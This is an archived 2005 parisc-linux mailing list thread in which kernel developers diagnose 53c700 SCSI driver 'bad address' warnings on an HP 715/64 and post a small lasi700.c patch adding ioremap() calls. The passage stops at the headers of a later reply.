X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F1C07D611
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 07:01:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16051-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 07:01:47 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 822EE7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 07:01:47 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1JE1CfX019674 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 06:01:12 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.115.86] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id YAp0zIX5
	authenticated by SMTP; Sat, 19 Feb 2005 06:01:11 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <200502191234.30310.deller@gmx.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0yp8Km9TTlIv47eQeGhrSVVGU2poZdkJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22359

On Sat February 19 2005 05:34, Helge Deller wrote:
> I get random messages from the 53c700 scsi driver (see below). 
> Any ideas ?
> Helge
> 
Looks like more udev/irq balance/irq routing problems,
see concurrent thread "BUG 2.6.11-rc4..."

try: 'noudev pci=routeirq' options on the command line
to change behavior in generic code.

Mike

> System LOG:
> 
> Linux version 2.6.11-rc4-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #170 Sat Feb 19 12:04:12 CET 2005
> FP[0] enabled: Rev 1 Model 13
> The 32-bit Kernel has started...
> Determining PDC firmware type: Snake.
> model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
> vers  0000000c
> model 9000/715
> Total Memory: 160 Mb
> Built 1 zonelists                                                                                                                         
> .....
> 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> scsi0: 53c710 rev 2
> scsi0 : LASI SCSI 53c700
>   Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>  target0:0:6: Beginning Domain Validation
> scsi0: (6:0) Enabling Tag Command Queuing
> scsi0: (6:0) Asynchronous
>  target0:0:6: Domain Validation skipping write tests
> scsi0: (6:0) Synchronous at offset 8, period 100ns
>  target0:0:6: Ending Domain Validation
> st: Version 20041025, fixed bufsize 32768, s/g segs 256
> SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
> SCSI device sda: drive cache: write back
> SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
> SCSI device sda: drive cache: write back
>  sda: sda1 sda2 sda3 sda4
> Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
> Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0                                                                       
> ...
> 
> 
> 
> in dmesg (at random times):
> _raw_foo() called with bad address 0xf0106121
> Backtrace:
>  [<10104ce4>] __raw_bad_addr+0x64/0x70
>  [<1028edd8>] NCR_700_start_command+0x3e8/0x78c
>  [<10290684>] NCR_700_queuecommand+0x2fc/0x440
>  [<1026cf30>] scsi_dispatch_cmd+0x164/0x238
>  [<10272ba4>] scsi_request_fn+0x18c/0x354
>  [<10250454>] __generic_unplug_device+0x4c/0x54
>  [<10250470>] generic_unplug_device+0x14/0x24
>  [<102504b0>] blk_backing_dev_unplug+0x30/0x38
>  [<10169038>] sync_buffer+0x54/0x58
>  [<10103708>] __wait_on_bit+0xd4/0xe0
>  [<101037c4>] out_of_line_wait_on_bit+0xb0/0xcc
>  [<101ba2a4>] journal_commit_transaction+0xe68/0x1028
>  [<101bc7ac>] kjournald+0xc0/0x240
>  [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24
> 
> 
> and:
> __raw_foo() called with bad address 0xf0106122
> Backtrace:
>  [<10104ce4>] __raw_bad_addr+0x64/0x70
>  [<1028f200>] NCR_700_intr+0x84/0x120c
>  [<10142cfc>] handle_IRQ_event+0x50/0xa4
>  [<10142e78>] __do_IRQ+0x128/0x174
>  [<102163dc>] gsc_asic_intr+0xac/0xc8
>  [<10142cfc>] handle_IRQ_event+0x50/0xa4
>  [<10142e78>] __do_IRQ+0x128/0x174
>  [<101072a0>] do_cpu_irq_mask+0x7c/0xd8
>  [<1010c068>] intr_return+0x0/0x14
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 15:59:26 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <200502191559.26297.deller@gmx.de>
References: <200502191234.30310.deller@gmx.de>
	<200502190800.44901.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623672 12741 80.91.229.3 (22 Nov 2014 02:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:32 +0000 (UTC)
Cc: "Michael S. Zick" <mszick@wolfbutter.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 14:59:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 19 Feb 2005 15:59:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6724E7D639;
	Sat, 19 Feb 2005 08:00:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17506-10; Sat, 19 Feb 2005 08:00:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC0207D62E;
	Sat, 19 Feb 2005 08:00:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 907567D627
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:00:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17506-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:00:05 -0700 (MST)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id AA72C7D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:00:04 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Feb 2005 14:59:28 -0000
Original-Received: from pD9FE72F7.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.114.247)
	by mail.gmx.net (mp022) with SMTP; 19 Feb 2005 15:59:28 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.92
In-Reply-To: <200502190800.44901.mszick@wolfbutter.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ojh8Ks9UTlIv47eQeGhrSVVGU2poZdnY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22360

Hi Michael,

On Saturday 19 February 2005 15:00, Michael S. Zick wrote:
> On Sat February 19 2005 05:34, Helge Deller wrote:
> > I get random messages from the 53c700 scsi driver (see below). 
> > Any ideas ?
> > Helge
> > 
> Looks like more udev/irq balance/irq routing problems,
> see concurrent thread "BUG 2.6.11-rc4..."
> 
> try: 'noudev pci=routeirq' options on the command line
> to change behavior in generic code.

I will try, but I'm not sure that this is the cause.
Looks to me more like a missing ioremap() call.

Even the sti framebuffer does not work since weeks - I think it's due to ioremap() as well.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 09:20:23 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200502190920.23475.mszick@wolfbutter.com>
References: <200502191234.30310.deller@gmx.de>
	<200502190800.44901.mszick@wolfbutter.com>
	<200502191559.26297.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623673 12747 80.91.229.3 (22 Nov 2014 02:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 15:21:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 19 Feb 2005 16:21:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D2147D637;
	Sat, 19 Feb 2005 08:21:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17804-06; Sat, 19 Feb 2005 08:21:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6B47D62E;
	Sat, 19 Feb 2005 08:21:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCDF87D629
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:21:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17804-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:21:26 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 3C7647D627
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 08:21:26 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1JFKpfX035389 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 07:20:51 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.115.86] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id i3U1VOb5
	authenticated by SMTP; Sat, 19 Feb 2005 07:20:50 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <200502191559.26297.deller@gmx.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PjV8KnBnTlIv47eQeGhrSVVGU2poZZnF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22361

On Sat February 19 2005 08:59, Helge Deller wrote:
> Hi Michael,
> 
> On Saturday 19 February 2005 15:00, Michael S. Zick wrote:
> > On Sat February 19 2005 05:34, Helge Deller wrote:
> > > I get random messages from the 53c700 scsi driver (see below). 
> > > Any ideas ?
> > > Helge
> > > 
> > Looks like more udev/irq balance/irq routing problems,
> > see concurrent thread "BUG 2.6.11-rc4..."
> > 
> > try: 'noudev pci=routeirq' options on the command line
> > to change behavior in generic code.
> 
> I will try, but I'm not sure that this is the cause.
> Looks to me more like a missing ioremap() call.
> 
> Even the sti framebuffer does not work since weeks - I think it's due to ioremap() as well.
> 
With 2.6.11 the device drivers are responsible for registering
their irq handling, not the bus driver...
Could that also be the cause for your missing ioremap() calls?

The above is a general description - perhaps not exact.
I am afraid I will learn more than I ever wanted to know about
this change before I get this *&%^&  tulip driver working under 2.6.11

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 16:40:07 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20050219164007.GC455@parcelfarce.linux.theplanet.co.uk>
References: <200502191234.30310.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623673 12751 80.91.229.3 (22 Nov 2014 02:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 James.Bottomley@HansenPartnership.com
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 16:40:08 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO parcelfarce.linux.theplanet.co.uk) (195.92.249.252)
  by mx0.gmx.net (mx018) with SMTP; 19 Feb 2005 17:40:08 +0100
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.33)
	id 1D2XeJ-00019a-Gd; Sat, 19 Feb 2005 16:40:07 +0000
Content-Disposition: inline
In-Reply-To: <200502191234.30310.deller@gmx.de>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iQd8Kk0wTlIv47eQeGhrSVVGU2poZRmO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22362

On Sat, Feb 19, 2005 at 12:34:30PM +0100, Helge Deller wrote:
> I get random messages from the 53c700 scsi driver (see below). 
> Any ideas ?
> _raw_foo() called with bad address 0xf0106121
> Backtrace:
>  [<10104ce4>] __raw_bad_addr+0x64/0x70
>  [<1028edd8>] NCR_700_start_command+0x3e8/0x78c

Yup.  This is a missing ioremap() in the 53c700 driver.  I'll have a
quick look, see if it's easily fixable (should be).  If the dmesg noise
annoys you, you can just turn off CONFIG_DEBUG_IOREMAP, but thanks for
reporting it -- it's an important step towards turning on HPPA_IOREMAP ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 16:53:14 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20050219165314.GD455@parcelfarce.linux.theplanet.co.uk>
References: <200502191234.30310.deller@gmx.de> <20050219164007.GC455@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623673 12754 80.91.229.3 (22 Nov 2014 02:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 James.Bottomley@HansenPartnership.com,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 16:53:24 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO parcelfarce.linux.theplanet.co.uk) (195.92.249.252)
  by mx0.gmx.net (mx016) with SMTP; 19 Feb 2005 17:53:24 +0100
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.33)
	id 1D2Xr0-0001It-8f; Sat, 19 Feb 2005 16:53:14 +0000
Content-Disposition: inline
In-Reply-To: <20050219164007.GC455@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZwN8Kgx1TlIv47eQeGhrSVVGU2poZZn2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22363

On Sat, Feb 19, 2005 at 04:40:07PM +0000, Matthew Wilcox wrote:
> On Sat, Feb 19, 2005 at 12:34:30PM +0100, Helge Deller wrote:
> > I get random messages from the 53c700 scsi driver (see below). 
> > Any ideas ?
> > _raw_foo() called with bad address 0xf0106121
> > Backtrace:
> >  [<10104ce4>] __raw_bad_addr+0x64/0x70
> >  [<1028edd8>] NCR_700_start_command+0x3e8/0x78c
> 
> Yup.  This is a missing ioremap() in the 53c700 driver.  I'll have a
> quick look, see if it's easily fixable (should be).  If the dmesg noise
> annoys you, you can just turn off CONFIG_DEBUG_IOREMAP, but thanks for
> reporting it -- it's an important step towards turning on HPPA_IOREMAP ...

Here's the patch I'm compiling now ...

--- drivers/scsi/lasi700.c      10 Dec 2004 20:46:33 -0000      1.10
+++ drivers/scsi/lasi700.c      19 Feb 2005 16:47:11 -0000
@@ -112,7 +112,7 @@ lasi700_probe(struct parisc_device *dev)
 
        hostdata->dev = &dev->dev;
        dma_set_mask(&dev->dev, 0xffffffffUL);
-       hostdata->base = base;
+       hostdata->base = ioremap(base, 0x100);
        hostdata->differential = 0;
 
        if (dev->id.sversion == LASI_700_SVERSION) {
@@ -138,6 +138,7 @@ lasi700_probe(struct parisc_device *dev)
        return 0;
 
  out_kfree:
+       iounmap(hostdata->base);
        kfree(hostdata);
        return -ENODEV;
 }
@@ -152,6 +153,7 @@ lasi700_driver_remove(struct parisc_devi
        scsi_remove_host(host);
        NCR_700_release(host);
        free_irq(host->irq, host);
+       iounmap(hostdata->base);
        kfree(hostdata);
 
        return 0;


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sat, 19 Feb 2005 22:12:50 +0000
Lines: 345
Approved: news@gmane.org
Message-ID: <4217B9E2.4040804@tiscali.be>
References: <200502191234.30310.deller@gmx.de>	<20050219164007.GC455@parcelfarce.linux.theplanet.co.uk>
	<20050219165314.GD455@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623674 12757 80.91.229.3 (22 Nov 2014 02:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 22:13:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 19 Feb 2005 23:13:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 280E07D63E;
	Sat, 19 Feb 2005 15:13:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19203-09; Sat, 19 Feb 2005 15:13:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CDFC7D63F;
	Sat, 19 Feb 2005 15:13:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 126217D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18851-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:13:33 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 0CD3A7D639
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:13:33 -0700 (MST)
Original-Received: from [83.134.225.59] (helo=[83.134.225.59])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D2cnm-0003eb-Ck; Sat, 19 Feb 2005 23:10:15 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050219165314.GD455@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
